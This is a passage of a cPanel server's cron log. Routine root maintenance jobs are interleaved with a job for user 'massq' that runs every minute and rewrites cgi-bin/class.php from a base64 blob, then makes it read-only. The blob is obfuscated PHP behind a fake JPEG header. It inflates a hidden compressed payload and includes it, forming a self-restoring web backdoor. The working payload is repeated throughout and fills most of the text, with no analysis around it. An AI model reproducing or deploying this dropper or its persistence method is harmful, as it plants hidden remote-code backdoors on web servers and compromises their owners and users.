KQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:13:01 server CROND[17132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:13:01 server CROND[17133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:13:01 server CROND[17134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:14:01 server CROND[17522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:14:01 server CROND[17523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:14:01 server CROND[17524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:15:01 server CROND[17914]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:15:01 server CROND[17915]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 09:15:01 server CROND[17924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:15:01 server CROND[17930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:15:01 server CROND[17932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:15:01 server CROND[17928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:15:01 server CROND[17929]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 09:15:01 server CROND[17931]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 09:16:01 server CROND[18757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:16:01 server CROND[18758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:16:01 server CROND[18759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:17:01 server CROND[19226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:17:01 server CROND[19228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:17:01 server CROND[19227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:18:01 server CROND[19654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:18:01 server CROND[19656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:18:01 server CROND[19657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:19:01 server CROND[20113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:19:01 server CROND[20114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:19:01 server CROND[20115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:20:01 server CROND[20511]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:20:01 server CROND[20513]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 09:20:01 server CROND[20521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:20:01 server CROND[20520]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 09:20:01 server CROND[20522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:20:01 server CROND[20519]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 09:20:01 server CROND[20524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:20:01 server CROND[20518]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:20:01 server CROND[20517]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 09:21:01 server CROND[21360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:21:01 server CROND[21361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:21:01 server CROND[21363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:22:01 server CROND[21745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:22:01 server CROND[21746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:22:01 server CROND[21744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:23:01 server CROND[22221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:23:01 server CROND[22222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:23:01 server CROND[22223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:24:01 server CROND[22609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:24:01 server CROND[22610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:24:01 server CROND[22611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:25:01 server CROND[23181]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 09:25:01 server CROND[23182]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:25:01 server CROND[23184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
